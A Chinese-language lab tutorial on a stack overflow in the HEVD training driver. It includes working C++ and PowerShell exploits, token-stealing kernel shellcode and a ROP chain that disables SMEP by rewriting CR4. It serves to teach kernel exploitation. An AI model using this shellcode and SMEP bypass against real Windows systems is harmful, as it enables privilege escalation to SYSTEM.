WindowKernelExploit01

利用HEVD学习windows kernel exploit 正式篇1 StackOverflow

本篇转自安全客 https://www.anquanke.com/post/id/218682


Window Kernel Exploit 01 - StackOverflow

栈溢出是一个最基本的漏洞利用方式,这里我们利用这个作为入门学习,了解一下在 Windows Kernel 下执行栈溢出的不同之处。

漏洞程序

找到之前准备好的HackSysExtremeVulnerableDriver.sys,里面有一个准备好的带有栈溢出的函数,叫做StackOverflowIoctlHandler。我们通过逆向,找到对应触发函数的IOCTL:

记录下此时的 IOCTL Code 为 222003h。之后我们来看这个程序的内部逻辑:

1
2
3
4
5
6
7
8
9
10
11
int __stdcall StackOverflowIoctlHandler(PIRP a1, PIO_STACK_LOCATION a2)
{
int v2; // ecx
HANDLE v3; // edx

v2 = 0xC0000001;
v3 = a2->Parameters.SetFile.DeleteHandle;
if ( v3 )
v2 = TriggerStackOverflow(v3, a2->Parameters.Create.Options);
return v2;
}

这里注意一下,这类IOCTL Handle Routine的传入参数类型是固定的,一定是第一个为PRIR,第二个为PIO_STACK_LOCATION,如果没有识别出参数的话,可以直接指定参数类型
此时发现,这个a2好像识别的有一点问题,从函数名也能猜到,程序逻辑本身应该是一个读取Buffer的逻辑,不应该和SetFile这类文件操作相关,所以这里推测,应该是PIO_STACK_LOCATION结构体中存在union结构,所以此时识别的结构体出现了错误。这个时候回退到Disassembly的界面,然后在参数的位置处右键,选择Structure Offset,就能够修改当前结构体识别的类型。

这里我们修改成和DeviceIoControl相关的DeviceIoControl.Type3InputBuffer,下面的参数也修改成DeviceIoControl.InputBufferLength,整个逻辑就变成了

1
2
3
4
5
6
7
8
9
10
11
int __stdcall StackOverflowIoctlHandler(PIRP a1, _IO_STACK_LOCATION *a2)
{
int v2; // ecx
PVOID Buffer; // edx

v2 = 0xC0000001;
Buffer = a2->Parameters.DeviceIoControl.Type3InputBuffer;
if ( Buffer )
v2 = TriggerStackOverflow(Buffer, a2->Parameters.DeviceIoControl.InputBufferLength);
return v2;
}

此时逻辑就清晰了很多:读取IO_STACK_LOCATION指针指向的Buffer内容,并且将Buffer的和Buffer的长度传入到触发函数中。并且触发函数中的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __stdcall TriggerStackOverflow(void *Address, size_t MaxCount)
{
char Dst; // [esp+14h] [ebp-81Ch]
CPPEH_RECORD ms_exc; // [esp+818h] [ebp-18h]

memset(&Dst, 0, 0x800u);
ms_exc.registration.TryLevel = 0;
ProbeForRead(Address, 0x800u, 4u);
DbgPrint("[+] UserBuffer: 0x%p\n", Address);
DbgPrint("[+] UserBuffer Size: 0x%X\n", MaxCount);
DbgPrint("[+] KernelBuffer: 0x%p\n", &Dst);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", 2048);
DbgPrint("[+] Triggering Stack Overflow\n");
memcpy(&Dst, Address, MaxCount);
return 0;
}

简单介绍一下内核函数ProbeForRead

1
2
3
4
5
void ProbeForRead(
const volatile VOID *Address,
SIZE_T Length,
ULONG Alignment
);

函数能够检查当前的地址是否属于用户态(访问地址是否越界),并且检查当前的地址是否是按照第三个参数要求的 Alignment 进行对齐。然后就会将当前传入的Buffer按照Buffer本身的MaxCount拷贝到栈上,从而造成栈溢出。

利用分析

整个逻辑是分析清楚了:只要使用DeviceIoControl从用户端这边发送请求,并且使用的是Buffer,而且大小超过了0x81c,就会发生栈溢出,造成返回值被劫持。

提权相关

单纯劫持返回值还不够,因为内核态并没有类似于system这类方便的劫持函数。在内核态实现劫持,根据平台的不同,会使用的不同的劫持方式

WIN7

在Win7阶段,内核态并没有做过多的限制,所以可以在内核态执行用户态的程序。那么如果劫持了返回值,那么便是可以运行由我们自己申请的地址空间上的shellcode。一般的逻辑如下:
首先在Windows操作系统中,所有的东西都被视为对象,每一个对象都有一个安全描述符(security descriptors)(长得有点像(A;;RPWPCCDCLCRCWOWDSDSW;;;DA)这样的)其在内存中存储的形式通常为一个token。它会描述当前进程的所有者,以及其的相关权限,包括对文件的操作等等。这里最高的权限就是NT AUTHORITY\SYSTEM,系统权限拥有对所有文件的任意权力(相当于是su)。所以一般的提权思路就是:

  1. 遍历当前所有进程
  2. 找到当前进程中的系统进程(通常来说进程号4的进程就是系统进程啦)
  3. 将其的安全描述符token复制到当前进程的安全描述符中,即可完成提权

能够找到的payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pushad                               ; Save registers state

; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]

mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process

mov ecx, eax ; Copy current process _EPROCESS structure

mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

popad ; Restore registers state

; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly

EXP实现

内核态的通信和用户态不太一样。看过的教材中有使用C语言直接编译exe的,也有使用python/powershell调用库进行攻击的。于是这里打算介绍一下最普通的使用C语言的攻击,以及最近比较流行的使用powershell进行的攻击(这一类似乎被称之为fileless attack)

C语言

通讯准备

首先要能够实现最基本的通信,使用C(Cpp)的话,需要直接调用Windows系列的API对文件进行操作,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include "pch.h"
#include <iostream>
#include <Windows.h>

#define DEVICE_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"

HANDLE GetDeviceHandle() {
HANDLE hRet = NULL;
hRet = CreateFile(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL
);
if (hRet == INVALID_HANDLE_VALUE) {
std::cout << "Error open Device with error code " << GetLastError() << std::endl;
}
return hRet;
}
// Just Communicate with Driver
VOID TriggerStackOverFlow(DWORD dwCTLCode) {
HANDLE hDev = GetDeviceHandle();
if (!hDev)
return;
std::cout << "We Get handle is :" << std::hex << hDev << std::endl;

DWORD dwSize = 0x818;
DWORD dwRetSize = 0;
CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
RtlFillMemory(Buffer, dwSize, 'A');

OutputDebugString(L"[+] =========== Kernel Mode =============== [+]");
DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, NULL, 0, &dwRetSize, NULL);
OutputDebugString(L"[+] =========== IOCTL Finish =============== [+]");

std::cout << "Finish Send IOCTL" << std::endl;
HeapFree(GetProcessHeap(), 0, Buffer);
Buffer = NULL;
}
int main()
{
std::cout << "[+] Exerciese: Stack Overflow\n";
TriggerStackOverFlow(0x222003);
}

提权攻击(Win7)

由于Win7上暂时没有太多的防护,所以可以直接使用拷贝token的方式进行提权。这里直接通过计算好返回值所需要的padding,然后让返回的地址跳转到我们自己申请的内存空间上来实现攻击。不过这里要考虑一件事情:以前我们都是直接弹出一个cmd结束攻击,然而提权攻击却不能只弹出一个cmd就完成攻击,这意味着类似BufferOverflow这类攻击如果将栈的内容进行了修改之后,我们需要有一个防止系统发现栈被破坏的操作。为了实现这一点,我们需要先观察一下栈中的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eax=00000000 ebx=9bf375f0 ecx=00000000 edx=00000000 esi=c00000bb edi=9bf37580
eip=9ddf4dde esp=a36bda14 ebp=a36bda14 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000286
HackSysExtremeVulnerableDriver!StackOverflowIoctlHandler+0x20:
9ddf4dde 5d pop ebp; ret 8
1: kd> ddp esp
a36bda14 a36bda30 ;上一个栈的ebp
a36bda18 9ddf42d3 ;函数返回值,即将被我们劫持
a36bda1c 9bf37580 ;
a36bda20 9bf375f0
a36bda24 00060000 ;ret之后,esp实际指向的位置
a36bda28 a79efa88
a36bda2c b01a6b0e
a36bda30 a36bda4c ;函数 StackOverflowIoctlHandler 保存的的ebp
a36bda34 81a3f958 ;函数 StackOverflowIoctlHandler 保存的返回值
a36bda38 a79efa88 00b80003
a36bda3c 9bf37580 00940006

在距离返回值地址的0x18的位置上,正好有上一个函数的返回地址,所以当我们劫持了这个函数返回值的时候,在shellcode的末尾,我们可以加上一些额外的指令来实现恢复栈

1
2
3
4
xor eax, eax  ;伪装返回值
add esp, 12 ;将栈调整到 StackOverflowIoctlHandler 的位置上
pop ebp
ret 8 ;这个地方照着 TriggerStackOverFlow 的结尾汇编写

这里我们参考HEVD给出的参考答案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include "pch.h"
#include "payload.h"
#include <iostream>
#include <Windows.h>

#define DEVICE_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"

VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad; Save registers state

; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]

mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

mov ecx, eax; Copy current process _EPROCESS structure

mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

popad; Restore registers state

; Kernel Recovery Stub
xor eax, eax; Set NTSTATUS SUCCEESS
add esp, 12; Fix the stack
pop ebp; Restore saved EBP
ret 8; Return cleanly
}
}

HANDLE GetDeviceHandle() {
HANDLE hRet = NULL;
hRet = CreateFile(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL
);
if (hRet == INVALID_HANDLE_VALUE) {
std::cout << "Error open Device with error code " << GetLastError() << std::endl;
}
return hRet;
}
// Just Communicate with Driver
VOID TriggerStackOverFlow(DWORD dwCTLCode) {
HANDLE hDev = GetDeviceHandle();
if (!hDev)
return;
std::cout << "We Get handle is :" << std::hex << hDev << std::endl;

DWORD dwSize = 0x824;
DWORD dwRetSize = 0;
PVOID ExpAddress = &TokenStealingPayloadWin7;
PVOID RetAddress = NULL;
CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
RtlFillMemory(Buffer, dwSize, 'A');

// calculate ret address
RetAddress = &Buffer[0x820];
*(PULONG)RetAddress = (ULONG)ExpAddress;

OutputDebugString(L"[+] =========== Kernel Mode =============== [+]");
DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, NULL, 0, &dwRetSize, NULL);
OutputDebugString(L"[+] =========== IOCTL Finish =============== [+]");

std::cout << "Finish Send IOCTL" << std::endl;
HeapFree(GetProcessHeap(), 0, Buffer);
Buffer = NULL;
}
int main()
{
std::cout << "[+] Exerciese: Stack Overflow\n";
TriggerStackOverFlow(0x222003);
}

提权攻击(Win10)

然而,如果用上述exp的话,似乎并没有那么顺利。我们调试可以看到如下结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HackSysExtremeVulnerableDriver!TriggerStackOverflow+0xc8:
9ddf4eaa c9 leave
9ddf4eab c20800 ret 8
;如果从这里执行下去的话,会看到如下的指令
1: kd> t
00f214b0 53 push ebx
1: kd> u 00f214b0
00f214b0 53 push ebx
00f214b1 56 push esi
00f214b2 57 push edi
00f214b3 60 pushad
00f214b4 33c0 xor eax,eax
00f214b6 648b8024010000 mov eax,dword ptr fs:[eax+124h]
00f214bd 8b4050 mov eax,dword ptr [eax+50h]
00f214c0 8bc8 mov ecx,eax

乍一看好像是成功的,但是如果让程序继续执行的话就会爆出如下的错误:

1
2
3
4
5
6
7
8
9
10
11
1: kd> t
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x000000fc
(0x00F214B0,0x25EEE125,0xA37449A0,0x80000005)


A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

这个错误码的意思是ATTEMPTED EXECUTE ON NOEXECUTE MEMORY,因为从Win 8.1 开始,Windows 就有了一种新的保护措施,叫做Supervisor Mode Execution Prevention(SMEP)。在这个保护下,不能在ring 0 的环境中执行 ring 3的代码。到了这个时候,就需要使用一些特殊的手段关闭这个特性。最常见的手段就是利用ROP攻击,修改cr4寄存器内容。一个常见的函数就是:

1
2
3
4
5
6
7
8
9
10
11
.text:00401000
...

.text:0048BF1D pop eax
.text:0048BF1E retn

KeFlushCurrentTb

.text:0057DF86 mov cr4, eax
.text:0057DF89 retn
; 这里用IDA观察有一个bug(?),内存中的一些值没有按照真正的值进行映射(也可能是相对偏移的锅?)然后导致一些数据的位置不对。。。最后的偏移量需要动态调试得到

利用这个ROP,让RCX赋值为CR4。不过这里注意一点,由于这里使用的,此时如果使用IDA观察的话,需要知道当前段映射的真正偏移量。这个可以通过观察如下的特征知道:

1
2
3
.text:00401000 ; Section 1. (virtual address 00001000)
.text:00401000 ; Virtual size : 00295B24 (2710308.)
.text:00401000 ; Section size in file : 00295C00 (2710528.)

每个段开头都会有一个virtual address,这个值表示的是当前段会映射的地址,具体计算方式为real_address = image_base_address + virtual_address。也就是说此时的.text段在内存中的真正的地址为:
real_text = image_base_address + 0x1000

然后我们需要观察cr4此时的正确的值。首先我们找到储了问题时的cr4:

1
2
3
4
5
For analysis of this file, run !analyze -v
nt!RtlpBreakWithStatusInstruction:
81b66484 cc int 3
1: kd> r cr4
cr4=001406e9

上网查找可知,第20bit为1表示的是SMEP打开(记得从低位往高位数,并且第一位数字是第0bit,第二位数字是第1bit),那么我们只需要将这一bit置0,即可以将这种防护关闭,此时也就是将值改成0x0406e9
有了ROP,那么我们就需要一个泄露内核地址的途径。这里有两种不同的方式,一个叫做:EnumDrivers的API,另一种是利用NtQueryInformationSystem的方式获取。前者是官方给出的API,通过调用直接获取地址,而后者是则是通过逆向分析+动态调试,验证可知当前的地址空间上存放的是ntoskrl.exe的基地址。
前者直接就是一个API:

1
2
3
4
5
BOOL EnumDeviceDrivers(
LPVOID *lpImageBase,
DWORD cb,
LPDWORD lpcbNeeded
);

并且据观察,返回的地址数组中lpImageBase,第一个就是ntoskrl.exe的基地址。不过使用这个方法的时候,需要用到管理员权限。
这里打算用第一种方法实现地址泄露,第二种攻击方法参考(https://www.anquanke.com/post/id/173144)[https://www.anquanke.com/post/id/173144],贴出用NtQueryInformationSystem的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _ROP {
PUCHAR PopRcxRet;
PUCHAR Cr4RegValue;
PUCHAR MovCr4EcxRet;
} ROP, *PROP;

typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

__int64* GetKernelBase()
{
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
__int64 *kernelBase = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo)
{
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
kernelBase = (__int64*)ModuleInfo->Module[0].ImageBase;
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return kernelBase;
}

回到正文,此时代码修改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad; Save registers state

; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]

mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

mov ecx, eax; Copy current process _EPROCESS structure

mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

popad; Restore registers state

; Kernel Recovery Stub
xor eax, eax; Set NTSTATUS SUCCEESS
add esp, 0x1c; Fix the stack
pop ebp; Restore saved EBP
ret 8; Return cleanly
}
}
// Just Communicate with Driver
VOID TriggerStackOverFlow(DWORD dwCTLCode) {
HANDLE hDev = GetDeviceHandle();
if (!hDev)
return;
std::cout << "We Get handle is :" << std::hex << hDev << std::endl;

DWORD dwSize = 0x824 + 0x4/*pop ecx*/+ 0x4 * 2/*padding for esp*/+ 0x4/*ecx real value*/ + 0x4/*mov cr4 */;
DWORD dwRetSize = 0;
PVOID ExpAddress = &TokenStealingPayloadWin7;
PVOID RetAddress = NULL;
CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);

// prepare ROP
DWORD dwBaseAddress = LeakNtoskrlBaseAddr();
std::cout << "Leak Device Address " << std::hex << dwBaseAddress << std::endl;

// get ROP address
DWORD dwSegBaseAddr = 0x00401000;
DWORD dwSegOffset = 0x1000;
DWORD dwRealPOPECX, dwBasePOPEAX = 0x0048BF1D;
DWORD dwRealMOVCR4, dwBaseMOVCR4 = 0x0057DF86;
dwRealMOVCR4 = dwBaseMOVCR4 - dwSegBaseAddr + dwBaseAddress + dwSegOffset;
dwRealPOPECX = dwBasePOPEAX - dwSegBaseAddr + dwBaseAddress + dwSegOffset;

std::cout << "[+] pop ecx is " << std::hex << dwRealPOPECX << std::endl;
std::cout << "[+} mov cr4 is " << std::hex << dwRealMOVCR4 << std::endl;

puts("[+] Begin to attack");
getchar();
// write it to attack buffer
RtlFillMemory(Buffer, dwSize, 'A');
RetAddress = &Buffer[0x820];
*(PULONG)RetAddress = (ULONG)dwRealPOPECX;
RetAddress = &Buffer[0x82c];
*(PULONG)RetAddress = (ULONG)0x406e9;
RetAddress = &Buffer[0x830];
*(PULONG)RetAddress = (ULONG)dwRealMOVCR4;
RetAddress = &Buffer[0x834];
*(PULONG)RetAddress = (ULONG)ExpAddress;

OutputDebugString(L"[+] =========== Kernel Mode =============== [+]");
DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, NULL, 0, &dwRetSize, NULL);
OutputDebugString(L"[+] =========== IOCTL Finish =============== [+]");

std::cout << "Finish Send IOCTL" << std::endl;
HeapFree(GetProcessHeap(), 0, Buffer);
Buffer = NULL;
}

不过这里由于引入了ROP,这里需要重新讨论一下栈的地址。
此时->指向的是之后会修改成的内容。由于加入了ROP,导致原先利用的返回值会被覆盖掉,所以这里需要重新调整返回值,让esp在调用exp的地址后,加上0x1c,让其跳转到nt!IofCallDriver的返回值,从而恢复调用栈。

Powershell版本

本质上差不多,不过这边使用的是Powershell下的编程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD2
{
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(
IntPtr ptrAddress,
uint dwSize,
UInt32 AllocationType,
UInt32 Protext
);

[DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesireAccess,
UInt32 dwSharingMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile
);

[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);

[DllImport("kernel32.dll")]
public static extern uint GetLastError();

[DllImport("psapi")]
public static extern bool EnumDeviceDrivers(
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] UInt32[] ddAddresses,
UInt32 arraySizeBytes,
[MarshalAs(UnmanagedType.U4)] out UInt32 bytesNeeded
);
}
"@

Function LeakBaseAddress(){
$dwByte = 0
$status=[bool] [EVD2]::EnumDeviceDrivers(0, 0, [ref]$dwByte)
if(!$status){
echo $("[*] Unable to enum device.... with error 0x{0:x}`n" -f [EVD2]::GetLastError())
}
$ptrAddress = [Uint32[]](9)*0x1000
$status=[bool] [EVD2]::EnumDeviceDrivers([UInt32[]]$ptrAddress, $dwByte+10, [ref]$dwByte)
# echo $("Address is {0:x}" -f $ptrAddress[0])
return $ptrAddress[0]
}

$hDevice = [EVD2]::CreateFile("\\.\HackSysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if($hDevice -eq -1){
echo "`n[*] Unbale to open this driver...`n"
Return
}

echo "`[+] The Device object is $($hDevice) "
# then we need create an array with buffer
[Int32]$dwSize = 0x820
# +0x4+0x8+0x4+0x4
# alloc buffer for shellcode
$Shellcode = [Byte[]] @(
#---[Setup]
0x53, # push ebx
0x56, # push esi
0x57, # push edi
0x60, # pushad
0x33, 0xC0, # xor eax, eax
0x64, 0x8B, 0x80, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x80, 0x80, 0x00, 0x00, 0x00, # mov eax, [eax + EPROCESS_OFFSET]
0x8B, 0xC8, # mov ecx, eax (Current _EPROCESS structure)
# 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xFC, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xFC, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0x33, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p
0x83, 0xc4, 0x1c, # add esp, 1ch
0x5D, # pop ebp
0xC2, 0x08, 0x00 # ret 8
)

[IntPtr]$Pointer = [EVD2]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"

$leakAddress = LeakBaseAddress
echo $("Address is {0:x}" -f $leakAddress)
$dwSegBaseAddr = 0x401000
$dwSegOffset = 0x1000
$dwBasePOPEAX = 0x0048BF1D
$dwBaseMOVCR4 = 0x0057DF86
$dwRealMOVCR4 = $dwBaseMOVCR4 - $dwSegBaseAddr + $leakAddress + $dwSegOffset
$dwRealPOPEAX = $dwBasePOPEAX - $dwSegBaseAddr + $leakAddress + $dwSegOffset
$dwCR4 = 0x406e9
echo "[+] pop eax is $($dwRealPOPEAX) `n[+] mov cr4 is $($dwRealMOVCR4)`n"

# finally we write buffer
$Buffer = [Byte[]](0x41)*$dwSize + [System.BitConverter]::GetBytes($dwRealPOPEAX) + [Byte[]](0x41)*8 + [System.BitConverter]::GetBytes($dwCR4) + [System.BitConverter]::GetBytes($dwRealMOVCR4) + $EIP

[EVD2]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null

攻击结果

不知道为啥,提权有时候会失败,不过失败了似乎也没有进入蓝屏的样子…

使用powershell进行攻击的结果如下